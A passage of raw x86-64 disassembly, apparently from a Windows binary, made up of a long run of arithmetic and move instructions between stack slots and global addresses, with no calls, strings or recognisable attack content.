mov rax, qword [rsp + 0x6f58]
movzx eax, byte [rax]
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0x6a20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa08]
sub eax, ecx
mov rcx, qword [rsp + 0x5378]
mov word [rcx], ax
lea rax, [rsp + 0x7000]
mov qword [rsp + 0x7c60], rax
mov rax, qword [rsp + 0x6140]
mov ecx, dword [rsp + 0x2bc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x77b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x60d8], rax
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x7c68], rax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [rsp + 0x18d]
add eax, ecx
mov byte [0x140178efb], al
movsx eax, byte [rsp + 0x11a]
mov rcx, qword [0x14017a070]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x53e8]
movzx eax, word [rax]
mov word [rsp + 0xdd4], ax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x7918]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov byte [rcx], al
mov rax, qword [rsp + 0x64e0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a400]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6488]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b50]
mov rax, qword [rax]
mov qword [rsp + 0x7c70], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2bbc]
shl eax, cl
mov dword [rsp + 0x2c50], eax
lea rax, [rsp + 0x7330]
mov qword [rsp + 0x7c78], rax
mov eax, dword [rsp + 0x2dd4]
mov ecx, dword [0x14017a060]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x58c0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x8a0]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14017a068]
mov word [rcx], ax
mov rax, qword [rsp + 0x7488]
movsx eax, word [rax]
mov rcx, qword [0x14017a1f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7120]
mov word [rcx], ax
lea rax, [rsp + 0x198]
mov qword [rsp + 0x7c80], rax
movzx eax, word [rsp + 0xa7c]
movzx ecx, word [rsp + 0xb1c]
add eax, ecx
mov word [rsp + 0xb58], ax
lea rax, [rsp + 0x954]
mov qword [rsp + 0x7c88], rax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6440], rax
mov eax, dword [rsp + 0x2f68]
mov ecx, dword [rsp + 0x2eb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2efc], eax
lea rax, [rsp + 0x5d60]
mov qword [rsp + 0x7c90], rax
mov eax, dword [rsp + 0x2e20]
mov ecx, dword [rsp + 0x2e70]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb64]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f4c], ax
lea rax, [rsp + 0xc80]
mov qword [rsp + 0x7c98], rax
mov rax, qword [rsp + 0x6900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
add eax, ecx
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0x5e60]
movzx eax, byte [rax]
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0x6998]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e9e]
sub eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6be0], rax
lea rax, [rsp + 0x2b38]
mov qword [rsp + 0x7ca0], rax
mov rax, qword [str.kD3]
movzx ecx, al
mov rax, qword [rsp + 0x6458]
sar rax, cl
mov qword [rsp + 0x77e0], rax
lea rax, [rsp + 0x2df8]
mov qword [rsp + 0x7ca8], rax
mov rax, qword [rsp + 0x5980]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76b8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x59c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x12c]
mov byte [0x14017a197], al
movsx eax, word [rsp + 0xbbc]
movsx ecx, word [rsp + 0xdd4]
xor eax, ecx
mov word [rsp + 0xae8], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x7cb0], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [0x14017a4dc]
shl eax, cl
mov word [rsp + 0x984], ax
mov rax, qword [rsp + 0x5510]
mov rax, qword [rax]
mov qword [rsp + 0x7cb8], rax
mov rax, qword [rsp + 0x6e98]
mov rcx, qword [rsp + 0x6698]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6f98], rax
mov rax, qword [rsp + 0x5ca8]
mov rcx, qword [rsp + 0x57e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x58f0]
mov dword [rcx], eax
lea rax, [rsp + 0x2ef8]
mov qword [rsp + 0x7cc0], rax
movsx eax, word [rsp + 0xb00]
mov rcx, qword [rsp + 0x6290]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb70], ax
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [0x14017a528]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a148]
mov byte [rcx], al
lea rax, [rsp + 0xd20]
mov qword [rsp + 0x7cc8], rax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7878]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x5608]
movzx eax, byte [rax]
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x5a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x5dd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5ba8]
mov qword [rcx], rax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x2f84], eax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2df8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5290]
mov dword [rcx], eax
lea rax, [rsp + 0x8bc]
mov qword [rsp + 0x7cd0], rax
movzx eax, byte [rsp + 0x96]
mov rcx, qword [0x14017a3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [reloc.SHELL32.dll_SHDefExtractIconW], al
movsx eax, byte [rsp + 0x144]
movsx ecx, byte [rsp + 0x93]
add eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x5fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x70d8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc44], ax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x7cd8], rax
mov rax, qword [rsp + 0x69f8]
mov rcx, qword [rsp + 0x4fa0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7270], rax
mov rax, qword [rsp + 0x6f30]
mov eax, dword [rax]
mov dword [rsp + 0x2f88], eax
mov rax, qword [rsp + 0x62e0]
mov rcx, qword [0x140178e78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5bd8]
mov qword [rsp + 0x7ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ce0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5e98]
mov dword [rcx], eax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x7ce8], rax
movzx eax, word [0x140178f00]
mov rcx, qword [rsp + 0x5c20]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140178f4c], ax
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5910]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x70f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c2], al
movsx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6af0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0x6f58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x6ab8]
mov byte [rcx], al
lea rax, [rsp + 0x7228]
mov qword [rsp + 0x7cf0], rax
mov rax, qword [rsp + 0x5368]
mov rcx, qword [rsp + 0x69e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov dword [rcx], eax
lea rax, [rsp + 0x5920]
mov qword [rsp + 0x7cf8], rax
mov rax, qword [rsp + 0x6e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d3c], eax
movsx eax, word [rsp + 0xd94]
mov rcx, qword [rsp + 0x5578]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140178f9c], ax
mov rax, qword [rsp + 0x76c8]
movzx eax, word [rax]
mov word [rsp + 0xdd8], ax
mov rax, qword [rsp + 0x6c88]
movzx eax, byte [rax]
mov rcx, qword [0x14017a618]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x6a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9bc]
add eax, ecx
mov rcx, qword [rsp + 0x7318]
mov word [rcx], ax
mov rax, qword [rsp + 0x62a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x6548]
mov rcx, qword [rsp + 0x5178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6478], rax
mov rax, qword [rsp + 0x5560]
mov qword [rsp + 0x7d00], rax
mov eax, dword [rsp + 0x2a78]
movzx ecx, al
mov eax, dword [rsp + 0x2a44]
sar eax, cl
mov rcx, qword [rsp + 0x5bd8]
mov dword [rcx], eax
mov eax, dword [0x14017a064]
movzx ecx, al
mov eax, dword [rsp + 0x2e8c]
shl eax, cl
mov rcx, qword [rsp + 0x64b8]
mov dword [rcx], eax
lea rax, [rsp + 0xbd0]
mov qword [0x14017a698], rax
movzx eax, byte [rsp + 0xe5]
mov byte [rsp + 0x1c4], al
movzx eax, word [rsp + 0xa74]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [0x14017a178]
movzx eax, byte [rax]
mov byte [rsp + 0x1c5], al
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xaf0]
xor eax, ecx
mov word [rsp + 0x9f0], ax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x5638]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e60]
mov qword [rsp + 0x7d08], rax
mov rax, qword [rsp + 0x6300]
mov ecx, dword [rsp + 0x2e78]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6388]
mov dword [rcx], eax
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x7d10], rax
movzx eax, byte [0x140178e77]
movzx ecx, byte [rsp + 0x138]
add eax, ecx
mov byte [0x140178efb], al
movsx eax, byte [rsp + 0x16b]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [rsp + 0x19f], al
movzx eax, word [rsp + 0xd40]
mov word [rsp + 0xddc], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5608]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x18d], al
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xd70]
add eax, ecx
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov qword [rsp + 0x7d18], rax
mov rax, qword [rsp + 0x71e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2dc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e68]
mov rax, qword [rax]
mov qword [rsp + 0x7d20], rax
mov rax, qword [rsp + 0x6060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bc0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xddc]
movzx ecx, word [rsp + 0xd7c]
sub eax, ecx
mov word [0x14017a4dc], ax
movsx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x5090]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa30], ax
mov rax, qword [rsp + 0x6888]
movzx eax, byte [rax]
mov byte [rsp + 0x1c6], al
movzx eax, byte [rsp + 0x101]
movzx ecx, byte [rsp + 0x157]
shl eax, cl
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x4ef0]
movzx eax, word [rax]
mov word [rsp + 0xde0], ax
mov rax, qword [rsp + 0x7250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7910]
mov qword [rsp + 0x7d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d28]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x5cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7b98]
mov dword [rcx], eax
lea rax, [rsp + 0x2a34]
mov qword [rsp + 0x7d30], rax
mov rax, qword [rsp + 0x6548]
mov rcx, qword [rsp + 0x5b88]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x73a0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x76]
mov byte [0x14017a1a2], al
lea rax, [rsp + 0x1a2]
mov qword [rsp + 0x7d38], rax
mov rax, qword [rsp + 0x53e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x73d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd9c], ax
mov rax, qword [rsp + 0x7938]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
add eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0xb9c]
mov qword [rsp + 0x7d40], rax
mov rax, qword [rsp + 0x6210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7900]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fe8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74e8]
mov eax, dword [rax]
mov dword [rsp + 0x2f8c], eax
mov rax, qword [rsp + 0x5af8]
mov rcx, qword [rsp + 0x6d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7958]
mov qword [rcx], rax
lea rax, [rsp + 0x2c34]
mov qword [rsp + 0x7d48], rax
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [rsp + 0xc14]
sub eax, ecx
mov rcx, qword [0x14017a100]
mov word [rcx], ax
mov rax, qword [rsp + 0x6560]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6130]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x6100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb14], ax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x7d50], rax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f], al
mov eax, dword [0x14017a060]
mov dword [rsp + 0x2f90], eax
mov rax, qword [rsp + 0x77b0]
mov rcx, qword [rsp + 0x5370]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7080], rax
mov rax, qword [rsp + 0x78d8]
mov rcx, qword [rsp + 0x5d38]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a40]
mov dword [rsp + 0x2f94], eax
lea rax, [rsp + 0x8f]
mov qword [0x14017a6a0], rax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcd4]
shl eax, cl
mov rcx, qword [rsp + 0x6828]
mov word [rcx], ax
mov rax, qword [rsp + 0x76a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c7], al
movsx eax, byte [0x140178eab]
movsx ecx, byte [rsp + 0x193]
sar eax, cl
mov rcx, qword [rsp + 0x64e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7338]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x58d0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6578]
mov word [rcx], ax
mov rax, qword [rsp + 0x5720]
mov qword [rsp + 0x7d58], rax
mov rax, qword [rsp + 0x5490]
mov rcx, qword [rsp + 0x6558]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x5788]
mov qword [rsp + 0x7d60], rax
mov rax, qword [rsp + 0x7868]
mov rcx, qword [rsp + 0x5758]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f3c], eax
mov rax, qword [rsp + 0x7600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7260]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x17e], al
movsx eax, word [rsp + 0xd00]
mov rcx, qword [rsp + 0x5908]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ecc], ax
lea rax, [0x140178e96]
mov qword [rsp + 0x7d68], rax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [rsp + 0x7d40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6430]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1a4]
mov byte [rsp + 0x1c8], al
mov rax, qword [rsp + 0x74e0]
mov rcx, qword [rsp + 0x4ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5a28], rax
mov rax, qword [rsp + 0x5938]
mov eax, dword [rax]
mov dword [rsp + 0x2f98], eax
mov rax, qword [rsp + 0x7c78]
mov rcx, qword [rsp + 0x5078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6d28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x2e78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b44], eax
movzx eax, word [rsp + 0x9e4]
mov word [rsp + 0xde4], ax
lea rax, [rsp + 0xb38]
mov qword [0x14017a6a8], rax
movzx eax, byte [rsp + 0x9a]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0xa7], al
lea rax, [0x140178f44]
mov qword [rsp + 0x7d70], rax
mov rax, qword [rsp + 0x5608]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x70b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5428]
mov byte [rcx], al
mov eax, dword [rsp + 0x2bd4]
mov ecx, dword [rsp + 0x2d50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d9c], eax
lea rax, [rsp + 0x6d30]
mov qword [rsp + 0x7d78], rax
mov rax, qword [rsp + 0x53a0]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f38]
mov rax, qword [rax]
mov qword [rsp + 0x7d80], rax
movzx eax, word [0x140178ea8]
movzx ecx, word [rsp + 0xab4]
shl eax, cl
mov word [rsp + 0xa78], ax
movzx eax, byte [rsp + 0x17b]
mov rcx, qword [rsp + 0x7c18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140178eff], al
mov rax, qword [rsp + 0x6298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
sar eax, cl
mov rcx, qword [rsp + 0x6290]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ff0]
movzx eax, word [rax]
mov word [rsp + 0xde8], ax
movsx eax, byte [rsp + 0x1a7]
movsx ecx, byte [rsp + 0x9b]
and eax, ecx
mov rcx, qword [rsp + 0x5d30]
mov byte [rcx], al
lea rax, [rsp + 0x2ce4]
mov qword [rsp + 0x7d88], rax
mov rax, qword [rsp + 0x5ee0]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fd0], rax
mov eax, dword [rsp + 0x2a60]
mov dword [rsp + 0x2f9c], eax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [rsp + 0x7440]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5268], rax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0x6b88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6b08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x155]
add eax, ecx
mov rcx, qword [0x14017a0a8]
mov byte [rcx], al
lea rax, [rsp + 0xd3]
mov qword [rsp + 0x7d90], rax
movsx eax, word [rsp + 0xae8]
movsx ecx, word [rsp + 0xbe8]
sub eax, ecx
mov rcx, qword [rsp + 0x6298]
mov word [rcx], ax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x7d98], rax
mov rax, qword [rsp + 0x7878]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xde0]
add eax, ecx
mov word [rsp + 0x9c4], ax
mov rax, qword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x2ed4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6458]
mov qword [rsp + 0x7da0], rax
mov rax, qword [rsp + 0x5c98]
mov rcx, qword [rsp + 0x5be8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a78], eax
lea rax, [rsp + 0x6e68]
mov qword [rsp + 0x7da8], rax
movzx eax, word [rsp + 0xb14]
movzx ecx, word [rsp + 0xb58]
sar eax, cl
mov word [0x140178f18], ax
mov rax, qword [0x14017a198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc3]
or eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x68f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x76b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x10d], al
lea rax, [rsp + 0xb10]
mov qword [rsp + 0x7db0], rax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x5b30]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5820]
mov byte [rcx], al
lea rax, [rsp + 0x5920]
mov qword [rsp + 0x7db8], rax
mov rax, qword [rsp + 0x7a98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ac0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5580]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x2ea0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2df8], eax
mov rax, qword [rsp + 0x6db0]
mov qword [rsp + 0x7dc0], rax
mov rax, qword [rsp + 0x5dc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178f02], al
mov rax, qword [0x14017a1b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x7dc8], rax
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbd0], ax
mov rax, qword [rsp + 0x55c8]
movzx eax, word [rax]
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0x6530]
mov rcx, qword [rsp + 0x57e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6418]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6318], rax
mov eax, dword [rsp + 0x2f94]
mov dword [rsp + 0x2fa0], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5500]
mov qword [rcx], rax
movsx eax, word [rsp + 0xdd0]
mov rcx, qword [0x14017a098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178eec], ax
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x1c9], al
movsx eax, word [rsp + 0xb60]
movsx ecx, word [rsp + 0xad8]
sub eax, ecx
mov word [rsp + 0xd18], ax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [0x140178eaf]
or eax, ecx
mov rcx, qword [rsp + 0x6888]
mov byte [rcx], al
mov rax, qword [rsp + 0x7cc8]
movzx eax, word [rax]
mov word [rsp + 0xdf0], ax
mov eax, dword [rsp + 0x2d38]
movzx ecx, al
mov eax, dword [rsp + 0x2a48]
shl eax, cl
mov dword [rsp + 0x2c5c], eax
lea rax, str.kD3
mov qword [rsp + 0x7dd0], rax
mov rax, qword [rsp + 0x69c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6840]
shr rax, cl
mov qword [rsp + 0x58e8], rax
mov rax, qword [rsp + 0x62d8]
mov rcx, qword [rsp + 0x7698]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2d08], eax
lea rax, [0x140178ecb]
mov qword [0x14017a6b0], rax
mov rax, qword [rsp + 0x6af8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ca], al
mov rax, qword [rsp + 0x6c28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7338]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6430]
mov word [rcx], ax
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x7dd8], rax
mov rax, qword [0x14017a458]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
sub eax, ecx
mov byte [rsp + 0xb0], al
lea rax, [rsp + 0x2ce0]
mov qword [rsp + 0x7de0], rax
mov rax, qword [rsp + 0x7b98]
mov rcx, qword [rsp + 0x64f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5528]
mov rcx, qword [rsp + 0x5140]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6a00]
mov qword [rcx], rax
lea rax, [rsp + 0x5110]
mov qword [rsp + 0x7de8], rax
movzx eax, word [rsp + 0x8dc]
mov word [0x14017a6b8], ax
movzx eax, word [rsp + 0xa3c]
movzx ecx, word [rsp + 0xcdc]
add eax, ecx
mov rcx, qword [rsp + 0x6bc8]
mov word [rcx], ax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x7df0], rax
movzx eax, byte [rsp + 0x67]
movzx ecx, byte [rsp + 0x1c0]
add eax, ecx
mov rcx, qword [rsp + 0x79e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5390]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7a18]
mov byte [rcx], al
lea rax, [rsp + 0x2fa0]
mov qword [rsp + 0x7df8], rax
mov rax, qword [rsp + 0x6bc0]
mov rcx, qword [rsp + 0x67f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5a68], rax
mov rax, qword [rsp + 0x7b20]
mov eax, dword [rax]
mov dword [rsp + 0x2fa4], eax
mov rax, qword [rsp + 0x7900]
mov rcx, qword [rsp + 0x7428]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7028]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x978]
add eax, ecx
mov rcx, qword [0x14017a5c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x54f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8a8], ax
mov rax, qword [rsp + 0x57c0]
